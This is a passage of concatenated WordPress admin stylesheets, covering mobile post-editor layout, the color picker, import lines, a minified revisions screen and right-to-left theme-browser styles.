		margin-bottom: 10px;
	}

	.timestamp-wrap #jj,
	.timestamp-wrap #aa,
	.timestamp-wrap #hh,
	.timestamp-wrap #mn {
		padding: 12px 3px;
		font-size: 14px;
		margin-bottom: 5px;
		width: auto;
		text-align: center;
	}

	/* Categories Metabox */
	ul.category-tabs {
		margin: 30px 0 15px;
	}

	ul.category-tabs li.tabs {
		padding: 15px;
	}

	ul.categorychecklist li {
		margin-bottom: 15px;
	}

	ul.categorychecklist ul {
		margin-top: 15px;
	}

	.category-add input[type=text],
	.category-add select {
		max-width: none;
		margin-bottom: 15px;
	}

	/* Tags Metabox */
	.tagsdiv .newtag {
		width: 100%;
		height: auto;
		margin-bottom: 15px;
	}

	.tagchecklist {
		margin: 25px 10px;
	}

	.tagchecklist > li {
		font-size: 16px;
		line-height: 1.4;
	}

	/* Discussion */
	#commentstatusdiv p {
		line-height: 2.8;
	}

	/* TinyMCE Adjustments */
	.mceToolbar * {
		white-space: normal !important;
	}

	.mceToolbar tr,
	.mceToolbar td {
		float: left !important;
	}

	.wp_themeSkin a.mceButton {
		width: 30px;
		height: 30px;
	}

	.wp_themeSkin .mceButton .mceIcon {
		margin-top: 5px;
		margin-left: 5px;
	}

	.wp_themeSkin .mceSplitButton {
		margin-top: 1px;
	}

	.wp_themeSkin .mceSplitButton td a.mceAction {
		padding: 6px 3px 6px 6px;
	}

	.wp_themeSkin .mceSplitButton td a.mceOpen,
	.wp_themeSkin .mceSplitButtonEnabled:hover td a.mceOpen {
		padding-top: 6px;
		padding-bottom: 6px;
		background-position: 1px 6px;
	}

	.wp_themeSkin table.mceListBox {
		margin: 5px;
	}

	div.quicktags-toolbar input {
		padding: 10px 20px;
	}

	button.wp-switch-editor {
		font-size: 16px;
		line-height: 1;
		margin: 7px 0 0 7px;
		padding: 8px 12px;
	}

	#wp-content-media-buttons a {
		font-size: 14px;
		padding: 6px 10px;
	}

	.wp-media-buttons span.wp-media-buttons-icon,
	.wp-media-buttons span.jetpack-contact-form-icon {
		width: 22px !important;
		margin-left: -2px !important;
	}

	.wp-media-buttons .add_media span.wp-media-buttons-icon:before,
	.wp-media-buttons #insert-jetpack-contact-form span.jetpack-contact-form-icon:before {
		font-size: 20px !important;
	}

	#content_wp_fullscreen {
		display: none;
	}

	.misc-pub-section {
		padding: 20px 10px;
	}

	#delete-action,
	#publishing-action {
		line-height: 3.61538461;
	}

	#publishing-action .spinner {
		float: none;
		margin-top: -2px; /* Half of the Publish button's bottom margin. */
	}

	/* Moderate Comment */
	.comment-ays th,
	.comment-ays td {
		padding-bottom: 0;
	}

	.comment-ays td {
		padding-top: 6px;
	}

	/* Links */
	.links-table #link_rel {
		max-width: none;
	}

	.links-table th,
	.links-table td {
		padding: 10px 0;
	}

	.edit-term-notes {
		display: none;
	}

	.privacy-text-box {
		width: auto;
	}

	.privacy-text-box-toc {
		float: none;
		width: auto;
		height: 100%;
		display: flex;
		flex-direction: column;
	}

	.privacy-text-section .return-to-top {
		margin: 2em 0 0;
	}
}
/* rtl:ignore */
.wp-color-picker {
	width: 80px;
	direction: ltr;
}

.wp-picker-container .hidden {
	display: none;
}

/* Needs higher specificiity. */
.wp-picker-container .wp-color-result.button {
	min-height: 30px;
	margin: 0 6px 6px 0;
	padding: 0 0 0 30px;
	font-size: 11px;
}

.wp-color-result-text {
	background: #f6f7f7;
	border-radius: 0 2px 2px 0;
	border-left: 1px solid #c3c4c7;
	color: #50575e;
	display: block;
	line-height: 2.54545455; /* 28px */
	padding: 0 6px;
	text-align: center;
}

.wp-color-result:hover,
.wp-color-result:focus {
	background: #f6f7f7;
	border-color: #8c8f94;
	color: #1d2327;
}

.wp-color-result:hover:after,
.wp-color-result:focus:after {
	color: #1d2327;
	border-color: #a7aaad;
	border-left: 1px solid #8c8f94;
}

.wp-picker-container {
	display: inline-block;
}

.wp-color-result:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.wp-color-result:active {
	/* See Trac ticket #39662 */
	transform: none !important;
}

.wp-picker-open + .wp-picker-input-wrap {
	display: inline-block;
	vertical-align: top;
}

.wp-picker-input-wrap label {
	display: inline-block;
	vertical-align: top;
}

/* For the old `custom-background` page, to override the inline-block and margins from `.form-table td fieldset label`. */
.form-table .wp-picker-input-wrap label {
	margin: 0 !important;
}

.wp-picker-input-wrap .button.wp-picker-default,
.wp-picker-input-wrap .button.wp-picker-clear,
.wp-customizer .wp-picker-input-wrap .button.wp-picker-default,
.wp-customizer .wp-picker-input-wrap .button.wp-picker-clear {
	margin-left: 6px;
	padding: 0 8px;
	line-height: 2.54545455; /* 28px */
	min-height: 30px;
}

.wp-picker-container .iris-square-slider .ui-slider-handle:focus {
	background-color: #50575e
}

.wp-picker-container .iris-picker {
	border-radius: 0;
	border-color: #dcdcde;
	margin-top: 6px;
}

.wp-picker-container input[type="text"].wp-color-picker {
	width: 4rem;
	font-size: 12px;
	font-family: monospace;
	line-height: 2.33333333; /* 28px */
	margin: 0;
	padding: 0 5px;
	vertical-align: top;
	min-height: 30px;
}

.wp-color-picker::-webkit-input-placeholder {
	color: #646970;
}

.wp-color-picker::-moz-placeholder {
	color: #646970;
	opacity: 1;
}

.wp-color-picker:-ms-input-placeholder {
	color: #646970;
}

.wp-picker-container input[type="text"].iris-error {
	background-color: #fcf0f1;
	border-color: #d63638;
	color: #000;
}

.iris-picker .ui-square-handle:focus,
.iris-picker .iris-strip .ui-slider-handle:focus {
	border-color: #3582c4;
	border-style: solid;
	box-shadow: 0 0 0 1px #3582c4;
	outline: 2px solid transparent;
}

.iris-picker .iris-palette:focus {
	box-shadow: 0 0 0 2px #3582c4;
}

@media screen and (max-width: 782px) {
	.wp-picker-container input[type="text"].wp-color-picker {
		width: 5rem;
		font-size: 16px;
		line-height: 1.875; /* 30px */
		min-height: 32px;
	}

	.wp-customizer .wp-picker-container input[type="text"].wp-color-picker {
		padding: 0 5px;
	}

	.wp-picker-input-wrap .button.wp-picker-default,
	.wp-picker-input-wrap .button.wp-picker-clear {
		padding: 0 8px;
		line-height: 2.14285714; /* 30px */
		min-height: 32px;
	}

	.wp-customizer .wp-picker-input-wrap .button.wp-picker-default,
	.wp-customizer .wp-picker-input-wrap .button.wp-picker-clear {
		padding: 0 8px;
		font-size: 14px;
		line-height: 2.14285714; /* 30px */
		min-height: 32px;
	}

	.wp-picker-container .wp-color-result.button {
		padding: 0 0 0 40px;
		font-size: 14px;
		line-height: 2.14285714; /* 30px */
	}

	.wp-customizer .wp-picker-container .wp-color-result.button {
		font-size: 14px;
		line-height: 2.14285714; /* 30px */
	}

	.wp-picker-container .wp-color-result-text {
		padding: 0 14px;
		font-size: inherit;
		line-height: inherit;
	}

	.wp-customizer .wp-picker-container .wp-color-result-text {
		padding: 0 10px;
	}
}
@import url(common.css);
@import url(forms.css);
@import url(admin-menu.css);
@import url(dashboard.css);
@import url(list-tables.css);
@import url(edit.css);
@import url(revisions.css);
@import url(media.css);
@import url(themes.css);
@import url(about.css);
@import url(nav-menus.css);
@import url(widgets.css);
@import url(site-icon.css);
@import url(l10n.css);
@import url(site-health.css);
/*! This file is auto-generated */
.revisions-control-frame,.revisions-diff-frame{position:relative}.revisions-diff-frame{top:10px}.revisions-controls{padding-top:40px;z-index:1}.revisions-controls input[type=checkbox]{position:relative;top:-1px;vertical-align:text-bottom}.revisions.pinned .revisions-controls{position:fixed;top:0;height:82px;background:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1)}.revisions-tickmarks{position:relative;margin:0 auto;height:.7em;top:7px;max-width:70%;box-sizing:border-box;background-color:#fff}.revisions-tickmarks>div{position:absolute;height:100%;border-left:1px solid #a7aaad;box-sizing:border-box}.revisions-tickmarks>div:first-child{border-width:0}.comparing-two-revisions .revisions-controls{height:140px}.comparing-two-revisions.pinned .revisions-controls{height:124px}.revisions .diff-error{position:absolute;text-align:center;margin:0 auto;width:100%;display:none}.revisions.diff-error .diff-error{display:block}.revisions .loading-indicator{position:absolute;vertical-align:middle;opacity:0;width:100%;width:calc(100% - 30px);top:50%;top:calc(50% - 10px);transition:opacity .5s}body.folded .revisions .loading-indicator{margin-left:-32px}.revisions .loading-indicator span.spinner{display:block;margin:0 auto;float:none}.revisions.loading .loading-indicator{opacity:1}.revisions .diff{transition:opacity .5s}.revisions.loading .diff{opacity:.5}.revisions.diff-error .diff{visibility:hidden}.revisions-meta{margin-top:20px;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1);overflow:hidden}.revisions.pinned .revisions-meta{box-shadow:none}.revision-toggle-compare-mode{position:absolute;top:0;right:0}.comparing-two-revisions .revisions-next,.comparing-two-revisions .revisions-previous,.revisions-meta .diff-meta-to strong{display:none}.revisions-controls .author-card .date{color:#646970}.revisions-controls .author-card.autosave{color:#d63638}.revisions-controls .author-card .author-name{font-weight:600}.comparing-two-revisions .diff-meta-to strong{display:block}.revisions.pinned .revisions-buttons{padding:0 11px}.revisions-next,.revisions-previous{position:relative;z-index:1}.revisions-previous{float:left}.revisions-next{float:right}.revisions-controls .wp-slider{max-width:70%;margin:0 auto;top:-3px}.revisions-diff{padding:15px;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1)}.revisions-diff h3:first-child{margin-top:0}#revisions-meta-restored img,.post-revisions li img{vertical-align:middle}table.diff{table-layout:fixed;width:100%;white-space:pre-wrap}table.diff col.content{width:auto}table.diff col.content.diffsplit{width:48%}table.diff col.diffsplit.middle{width:auto}table.diff col.ltype{width:30px}table.diff tr{background-color:transparent}table.diff td,table.diff th{font-family:Consolas,Monaco,monospace;font-size:14px;line-height:1.57142857;padding:.5em .5em .5em 2em;vertical-align:top;word-wrap:break-word}table.diff td h1,table.diff td h2,table.diff td h3,table.diff td h4,table.diff td h5,table.diff td h6{margin:0}table.diff .diff-addedline ins,table.diff .diff-deletedline del{text-decoration:none}table.diff .diff-deletedline{position:relative;background-color:#fcf0f1}table.diff .diff-deletedline del{background-color:#ffabaf}table.diff .diff-addedline{position:relative;background-color:#edfaef}table.diff .diff-addedline .dashicons,table.diff .diff-deletedline .dashicons{position:absolute;top:.85714286em;left:.5em;width:1em;height:1em;font-size:1em;line-height:1}table.diff .diff-addedline .dashicons{top:.92857143em}table.diff .diff-addedline ins{background-color:#68de7c}.diff-meta{padding:5px;clear:both;min-height:32px}.diff-title strong{line-height:2.46153846;min-width:60px;text-align:right;float:left;margin-right:5px}.revisions-controls .author-card .author-info{font-size:12px;line-height:1.33333333}.revisions-controls .author-card .author-info,.revisions-controls .author-card .avatar{float:left;margin-left:6px;margin-right:6px}.revisions-controls .author-card .byline{display:block;font-size:12px}.revisions-controls .author-card .avatar{vertical-align:middle}.diff-meta input.restore-revision{float:right;margin-left:6px;margin-right:6px;margin-top:2px}.diff-meta-from{display:none}.comparing-two-revisions .diff-meta-from{display:block}.revisions-tooltip{position:absolute;bottom:105px;margin-right:0;margin-left:-69px;z-index:0;max-width:350px;min-width:130px;padding:8px 4px;display:none;opacity:0}.revisions-tooltip.flipped{margin-left:0;margin-right:-70px}.revisions.pinned .revisions-tooltip{display:none!important}.comparing-two-revisions .revisions-tooltip{bottom:145px}.revisions-tooltip-arrow{width:70px;height:15px;overflow:hidden;position:absolute;left:0;margin-left:35px;bottom:-15px}.revisions-tooltip.flipped .revisions-tooltip-arrow{margin-left:0;margin-right:35px;left:auto;right:0}.revisions-tooltip-arrow>span{content:"";position:absolute;left:20px;top:-20px;width:25px;height:25px;transform:rotate(45deg)}.revisions-tooltip.flipped .revisions-tooltip-arrow>span{left:auto;right:20px}.revisions-tooltip,.revisions-tooltip-arrow>span{border:1px solid #dcdcde;background-color:#fff}.revisions-tooltip{display:none}.arrow{width:70px;height:16px;overflow:hidden;position:absolute;left:0;margin-left:-35px;bottom:90px;z-index:10000}.arrow:after{z-index:9999;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1)}.arrow.top{top:-16px;bottom:auto}.arrow.left{left:20%}.arrow:after{content:"";position:absolute;left:20px;top:-20px;width:25px;height:25px;transform:rotate(45deg)}.revisions-tooltip,.revisions-tooltip-arrow:after{border-width:1px;border-style:solid}div.revisions-controls>.wp-slider>.ui-slider-handle{margin-left:-10px}.rtl div.revisions-controls>.wp-slider>.ui-slider-handle{margin-right:-10px}.wp-slider.ui-slider{position:relative;border:1px solid #dcdcde;text-align:left;cursor:pointer}.wp-slider .ui-slider-handle{border-radius:50%;height:18px;margin-top:-5px;outline:0;padding:2px;position:absolute;width:18px;z-index:2;touch-action:none}.wp-slider .ui-slider-handle,.wp-slider .ui-slider-handle.focus{background:#f6f7f7;border:1px solid #c3c4c7;box-shadow:0 1px 0 #c3c4c7}.wp-slider .ui-slider-handle.ui-state-hover,.wp-slider .ui-slider-handle:hover{background:#f6f7f7;border-color:#8c8f94}.wp-slider .ui-slider-handle.ui-state-active,.wp-slider .ui-slider-handle:active{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);transform:translateY(1px)}.wp-slider .ui-slider-handle:before{background:0 0;position:absolute;top:2px;left:2px;color:#50575e;content:"\f229";font:normal 18px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-slider .ui-slider-handle.ui-state-hover:before,.wp-slider .ui-slider-handle:hover:before{color:#1d2327}.wp-slider .ui-slider-handle.from-handle:before,.wp-slider .ui-slider-handle.to-handle:before{font-size:20px!important;margin:-1px 0 0 -1px}.wp-slider .ui-slider-handle.from-handle:before{content:"\f139"}.wp-slider .ui-slider-handle.to-handle:before{content:"\f141"}.rtl .wp-slider .ui-slider-handle.from-handle:before{content:"\f141"}.rtl .wp-slider .ui-slider-handle.to-handle:before{content:"\f139";right:-1px}.wp-slider .ui-slider-range{position:absolute;font-size:.7em;display:block;border:0;background-color:transparent;background-image:none}.wp-slider.ui-slider-horizontal{height:.7em}.wp-slider.ui-slider-horizontal .ui-slider-handle{top:-.25em;margin-left:-.6em}.wp-slider.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.wp-slider.ui-slider-horizontal .ui-slider-range-min{left:0}.wp-slider.ui-slider-horizontal .ui-slider-range-max{right:0}@media print,(min-resolution:120dpi){.revision-tick.completed-false{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){#diff-next-revision,#diff-previous-revision{margin-top:-1em}.revisions-buttons{overflow:hidden;margin-bottom:15px}.comparing-two-revisions .revisions-controls,.revisions-controls{height:170px}.revisions-tooltip{bottom:130px;z-index:2}.diff-meta{overflow:hidden}table.diff{-ms-word-break:break-all;word-break:break-all;word-wrap:break-word}.diff-meta input.restore-revision{margin-top:0}}/*! This file is auto-generated */
/*------------------------------------------------------------------------------
  16.0 - Themes
------------------------------------------------------------------------------*/


/*------------------------------------------------------------------------------
  16.1 - Manage Themes
------------------------------------------------------------------------------*/

.themes-php {
	overflow-y: scroll;
}

body.js .theme-browser.search-loading {
	display: none;
}

.theme-browser .themes {
	clear: both;
}

.themes-php:not(.network-admin) .wrap h1 {
	margin-bottom: 15px;
}

.themes-php .wrap h1 .button {
	margin-right: 20px;
}

/* Search form */
.themes-php .search-form {
	display: inline;
}

.themes-php .wp-filter-search {
	position: relative;
	top: -2px;
	right: 20px;
	margin: 0;
	width: 280px;
}

/* Position admin messages */
.theme .notice,
.theme .notice.is-dismissible {
	right: 0;
	margin: 0;
	position: absolute;
	left: 0;
	top: 0;
}

/**
 * Main theme element
 * (has flexible margins)
 */
.theme-browser .theme {
	cursor: pointer;
	float: right;
	margin: 0 0 4% 4%;
	position: relative;
	width: 30.6%;
	border: 1px solid #dcdcde;
	box-shadow: 0 1px 1px -1px rgba(0, 0, 0, 0.1);
	box-sizing: border-box;
}

.theme-browser .theme:nth-child(3n) {
	margin-left: 0;
}

.theme-browser .theme:hover,
.theme-browser .theme.focus {
	cursor: pointer;
}

.theme-browser .theme .theme-name {
	font-size: 15px;
	font-weight: 600;
	height: 18px;
	margin: 0;
	padding: 15px;
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1);
	overflow: hidden;
	white-space: nowrap;
	text-overflow: ellipsis;
	background: #fff;
	background: rgba(255, 255, 255, 0.65);
}

/* Activate and Customize buttons, shown on hover and focus */
.theme-browser .theme .theme-actions {
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
	opacity: 0;
	transition: opacity 0.1s ease-in-out;
	height: auto;
	background: rgba(246, 247, 247, 0.7);
	border-right: 1px solid rgba(0, 0, 0, 0.05);
}

.theme-browser .theme:hover .theme-actions,
.theme-browser .theme.focus .theme-actions {
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
	opacity: 1;
}

.theme-browser .theme .theme-actions .button-primary {
	margin-left: 3px;
}

.theme-browser .theme .theme-actions .button {
	float: none;
	margin-right: 3px;
}

/**
 * Theme Screenshot
 *
 * Has a fixed aspect ratio of 1.5 to 1 regardless of screenshot size
 * It is also responsive.
 */
.theme-browser .theme .theme-screenshot {
	display: block;
	overflow: hidden;
	position: relative;
	-webkit-backface-visibility: hidden; /* Prevents flicker of the screenshot on hover. */
	transition: opacity 0.2s ease-in-out;
}

.theme-browser .theme .theme-screenshot:after {
	content: "";
	display: block;
	padding-top: 66.66666%; /* using a 3/2 aspect ratio */
}

.theme-browser .theme .theme-screenshot img {
	height: auto;
	position: absolute;
	right: 0;
	top: 0;
	width: 100%;
	transition: opacity 0.2s ease-in-out;
}

.theme-browser .theme:hover .theme-screenshot,
.theme-browser .theme.focus .theme-screenshot {
	background: #fff;
}

.theme-browser.rendered .theme:hover .theme-screenshot img,
.theme-browser.rendered .theme.focus .theme-screenshot img {
	opacity: 0.4;
}

.theme-browser .theme .more-details {
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
	opacity: 0;
	position: absolute;
	top: 35%;
	left: 20%;
	right: 20%;
	width: 60%;
	background: #1d2327;
	background: rgba(0, 0, 0, 0.7);
	color: #fff;
	font-size: 15px;
	text-shadow: 0 1px 0 rgba(0, 0, 0, 0.6);
	-webkit-font-smoothing: antialiased;
	font-weight: 600;
	padding: 15px 12px;
	text-align: center;
	border-radius: 3px;
	border: none;
	transition: opacity 0.1s ease-in-out;
	cursor: pointer;
}

.theme-browser .theme .more-details:focus {
	box-shadow: 0 0 0 2px #2271b1;
}

.theme-browser .theme.focus {
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.theme-browser .theme.focus .more-details {
	opacity: 1;
}

/* Current theme needs to have its action always on view */
.theme-browser .theme.active.focus .theme-actions {
	display: block;
}

.theme-browser.rendered .theme:hover .more-details,
.theme-browser.rendered .theme.focus .more-details {
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
	opacity: 1;
}

/**
 * The currently active theme
 */
.theme-browser .theme.active .theme-name {
	background: #1d2327;
	color: #fff;
	padding-left: 110px;
	font-weight: 300;
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.5);
}

.theme-browser .customize-control .theme.active .theme-name {
	padding-left: 15px;
}

.theme-browser .theme.active .theme-name span {
	font-weight: 600;
}

.theme-browser .theme.active .theme-actions {
	background: rgba(44, 51, 56, 0.7);
	border-right: none;
	opacity: 1;
}

.theme-id-container {
	position: relative;
}

.theme-browser .theme.active .theme-actions,
.theme-browser .theme .theme-actions {
	position: absolute;
	top: 50%;
	transform: translateY(-50%);
	left: 0;
	padding: 9px 15px;
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1);
}

.theme-browser .theme.active .theme-actions .button-primary {
	margin-left: 0;
}

.theme-browser .theme .theme-author {
	background: #1d2327;
	color: #f0f0f1;
	display: none;
	font-size: 14px;
	margin: 0 10px;
	padding: 5px 10px;
	position: absolute;
	bottom: 56px;
}

.theme-browser .theme.display-author .theme-author {
	display: block;
}

.theme-browser .theme.display-author .theme-author a {
	color: inherit;
}

/**
 * Add new theme
 */
.theme-browser .theme.add-new-theme {
	border: none;
	box-shadow: none;
}

.theme-browser .theme.add-new-theme a {
	text-decoration: none;
	display: block;
	position: relative;
	z-index: 1;
}

.theme-browser .theme.add-new-theme a:after {
	display: block;
	content: "";
	background: transparent;
	background: rgba(0, 0, 0, 0);
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	padding: 0;
	text-shadow: none;
	border: 5px dashed #dcdcde;
	border: 5px dashed rgba(0, 0, 0, 0.1);
	box-sizing: border-box;
}

.theme-browser .theme.add-new-theme span:after {
	background: #dcdcde;
	background: rgba(140, 143, 148, 0.1);
	border-radius: 50%;
	display: inline-block;
	content: "\f132";
	-webkit-font-smoothing: antialiased;
	font: normal 74px/115px dashicons;
	width: 100px;
	height: 100px;
	vertical-align: middle;
	text-align: center;
	color: #8c8f94;
	position: absolute;
	top: 30%;
	right: 50%;
	margin-right: -50px;
	text-indent: -4px;
	padding: 0;
	text-shadow: none;
	z-index: 4;
}

.rtl .theme-browser .theme.add-new-theme span:after {
	text-indent: 4px;
}

.theme-browser .theme.add-new-theme a:hover .theme-screenshot,
.theme-browser .theme.add-new-theme a:focus .theme-screenshot {
	background: none;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
	background: #fff;
	color: #2271b1;
}

.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
	border-color: transparent;
	color: #fff;
	background: #2271b1;
	content: "";
}

.theme-browser .theme.add-new-theme .theme-name {
	background: none;
	text-align: center;
	box-shadow: none;
	font-weight: 400;
	position: relative;
	top: 0;
	margin-top: -18px;
	padding-top: 0;
	padding-bottom: 48px;
}

.theme-browser .theme.add-new-theme a:hover .theme-name,
.theme-browser .theme.add-new-theme a:focus .theme-name {
	color: #fff;
	z-index: 2;
}

/**
 * Theme Overlay
 * Shown when clicking a theme
 */
.theme-overlay .theme-backdrop {
	position: absolute;
	right: -20px;
	left: 0;
	top: 0;
	bottom: 0;
	background: #f0f0f1;
	background: rgba(240, 240, 241, 0.9);
	z-index: 10000; /* Over WP Pointers. */
}

.theme-overlay .theme-header {
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	height: 48px;
	border-bottom: 1px solid #dcdcde;
}

.theme-overlay .theme-header button {
	padding: 0;
}

.theme-overlay .theme-header .close {
	cursor: pointer;
	height: 48px;
	width: 50px;
	text-align: center;
	float: left;
	border: 0;
	border-right: 1px solid #dcdcde;
	background-color: transparent;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.theme-overlay .theme-header .close:before {
	font: normal 22px/50px dashicons !important;
	color: #787c82;
	display: inline-block;
	content: "\f335";
	font-weight: 300;
}

/* Left and right navigation */
.theme-overlay .theme-header .right,
.theme-overlay .theme-header .left {
	cursor: pointer;
	color: #787c82;
	background-color: transparent;
	height: 48px;
	width: 54px;
	float: right;
	text-align: center;
	border: 0;
	border-left: 1px solid #dcdcde;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.theme-overlay .theme-header .close:focus,
.theme-overlay .theme-header .close:hover,
.theme-overlay .theme-header .right:focus,
.theme-overlay .theme-header .right:hover,
.theme-overlay .theme-header .left:focus,
.theme-overlay .theme-header .left:hover {
	background: #dcdcde;
	border-color: #c3c4c7;
	color: #000;
}

.theme-overlay .theme-header .close:focus:before,
.theme-overlay .theme-header .close:hover:before {
	color: #000;
}

.theme-overlay .theme-header .close:focus,
.theme-overlay .theme-header .right:focus,
.theme-overlay .theme-header .left:focus {
	box-shadow: none;
	outline: none;
}

.theme-overlay .theme-header .left.disabled,
.theme-overlay .theme-header .right.disabled,
.theme-overlay .theme-header .left.disabled:hover,
.theme-overlay .theme-header .right.disabled:hover {
	color: #c3c4c7;
	background: inherit;
	cursor: inherit;
}

.theme-overlay .theme-header .right:before,
.theme-overlay .theme-header .left:before {
	font: normal 20px/50px dashicons !important;
	display: inline;
	font-weight: 300;
}

.theme-overlay .theme-header .left:before {
	content: "\f345";
}

.theme-overlay .theme-header .right:before {
	content: "\f341";
}

.theme-overlay .theme-wrap {
	clear: both;
	position: fixed;
	top: 9%;
	right: 190px;
	left: 30px;
	bottom: 3%;
	background: #fff;
	box-shadow: 0 1px 20px 5px rgba(0, 0, 0, 0.1);
	z-index: 10000; /* Over WP Pointers. */
	box-sizing: border-box;
	-webkit-overflow-scrolling: touch;
}

body.folded .theme-browser ~ .theme-overlay .theme-wrap {
	right: 70px;
}

.theme-overlay .theme-about {
	position: absolute;
	top: 49px;
	bottom: 57px;
	right: 0;
	left: 0;
	overflow: auto;
	padding: 2% 4%;
}

.theme-overlay .theme-actions {
	position: absolute;
	text-align: center;
	bottom: 0;
	right: 0;
	left: 0;
	padding: 10px 25px 5px;
	background: #f6f7f7;
	z-index: 30;
	box-sizing: border-box;
	border-top: 1px solid #f0f0f1;
	display: flex;
	justify-content: center;
	gap: 5px;
}

.theme-overlay .theme-actions .button {
	margin-bottom: 5px;
}

/* Hide-if-customize for items we can't add classes to */
.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-header"],
.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-background"] {
	display: none;
}

.broken-themes a.delete-theme,
.theme-overlay .theme-actions .delete-theme {
	color: #b32d2e;
	text-decoration: none;
	border-color: transparent;
	box-shadow: none;
	background: transparent;
}

.broken-themes a.delete-theme:hover,
.broken-themes a.delete-theme:focus,
.theme-overlay .theme-actions .delete-theme:hover,
.theme-overlay .theme-actions .delete-theme:focus {
	background: #b32d2e;
	color: #fff;
	border-color: #b32d2e;
	box-shadow: 0 0 0 1px #b32d2e;
}

.theme-overlay .theme-actions .active-theme,
.theme-overlay.active .theme-actions .inactive-theme {
	display: none;
}

.theme-overlay .theme-actions .inactive-theme,
.theme-overlay.active .theme-actions .active-theme {
	display: block;
}

/**
 * Theme Screenshots gallery
 */
.theme-overlay .theme-screenshots {
	float: right;
	margin: 0 0 0 30px;
	width: 55%;
	max-width: 1200px; /* Recommended theme screenshot width, set here to avoid stretching */
	text-align: center;
}

/* First screenshot, shown big */
.theme-overlay .screenshot {
	border: 1px solid #fff;
	box-sizing: border-box;
	overflow: hidden;
	position: relative;
	box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.2);
}

.theme-overlay .screenshot:after {
	content: "";
	display: block;
	padding-top: 75%; /* using a 4/3 aspect ratio */
}

.theme-overlay .screenshot img {
	height: auto;
	position: absolute;
	right: 0;
	top: 0;
	width: 100%;
}
/* Handles old 300px screenshots */
.theme-overlay.small-screenshot .theme-screenshots {
	position: absolute;
	width: 302px;
}
.theme-overlay.small-screenshot .theme-info {
	margin-right: 350px;
	width: auto;
}

/* Other screenshots, shown small and square */
.theme-overlay .screenshot.thumb {
	background: #c3c4c7;
	border: 1px solid #f0f0f1;
	float: none;
	display: inline-block;
	margin: 10px 5px 0;
	width: 140px;
	height: 80px;
	cursor: pointer;
}

.theme-overlay .screenshot.thumb:after {
	content: "";
	display: block;
	padding-top: 100%; /* using a 1/1 aspect ratio */
}

.theme-overlay .screenshot.thumb img {
	cursor: pointer;
	height: auto;
	position: absolute;
	right: 0;
	top: 0;
	width: 100%;
	height: auto;
}

.theme-overlay .screenshot.selected {
	background: transparent;
	border: 2px solid #72aee6;
}

.theme-overlay .screenshot.selected img {
	opacity: 0.8;
}

/* No screenshot placeholder */
.theme-browser .theme .theme-screenshot.blank,
.theme-overlay .screenshot.blank {
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYGWO8d+/efwYkoKioiMRjYGBC4WHhUK6A8T8QIJt8//59ZC493AAAQssKpBK4F5AAAAAASUVORK5CYII=);
}

/**
 * Theme heading information
 */
.theme-overlay .theme-info {
	width: 40%;
	float: right;
}

.theme-overlay .current-label {
	background: #2c3338;
	color: #fff;
	font-size: 11px;
	display: inline-block;
	padding: 2px 8px;
	border-radius: 2px;
	margin: 0 0 -10px;
	-webkit-user-select: none;
	user-select: none;
}

.theme-overlay .theme-name {
	color: #1d2327;
	font-size: 32px;
	font-weight: 100;
	margin: 10px 0 0;
	line-height: 1.3;
	word-wrap: break-word;
	overflow-wrap: break-word;
}

.theme-overlay .theme-version {
	color: #646970;
	font-size: 13px;
	font-weight: 400;
	float: none;
	display: inline-block;
	margin-right: 10px;
}

.theme-overlay .theme-author {
	margin: 15px 0 25px;
	color: #646970;
	font-size: 16px;
	font-weight: 400;
	line-height: inherit;
}

.theme-overlay .toggle-auto-update {
	/* Better align spin icon and text. */
	display: inline-flex;
	align-items: center;
	/* Prevents content after the auto-update toggler from jumping down and up. */
	min-height: 20px; /* Same height as the spinning dashicon. */
	vertical-align: top;
}

.theme-overlay .theme-autoupdate .toggle-auto-update {
	text-decoration: none;
}

.theme-overlay .theme-autoupdate .toggle-auto-update .label {
	text-decoration: underline;
}

.theme-overlay .theme-description {
	color: #50575e;
	font-size: 15px;
	font-weight: 400;
	line-height: 1.5;
	margin: 30px 0 0;
}

.theme-overlay .theme-tags {
	border-top: 3px solid #f0f0f1;
	color: #646970;
	font-size: 13px;
	font-weight: 400;
	margin: 30px 0 0;
	padding-top: 20px;
}

.theme-overlay .theme-tags span {
	color: #3c434a;
	font-weight: 600;
	margin-left: 5px;
}

.theme-overlay .parent-theme {
	background: #fff;
	border: 1px solid #f0f0f1;
	border-right: 4px solid #72aee6;
	font-size: 14px;
	font-weight: 400;
	margin-top: 30px;
	padding: 10px 20px 10px 10px;
}

.theme-overlay .parent-theme strong {
	font-weight: 600;
}

/**
 * Single Theme Mode
 * Displays detailed view inline when a user has no switch capabilities
 */
.single-theme .theme-overlay .theme-backdrop,
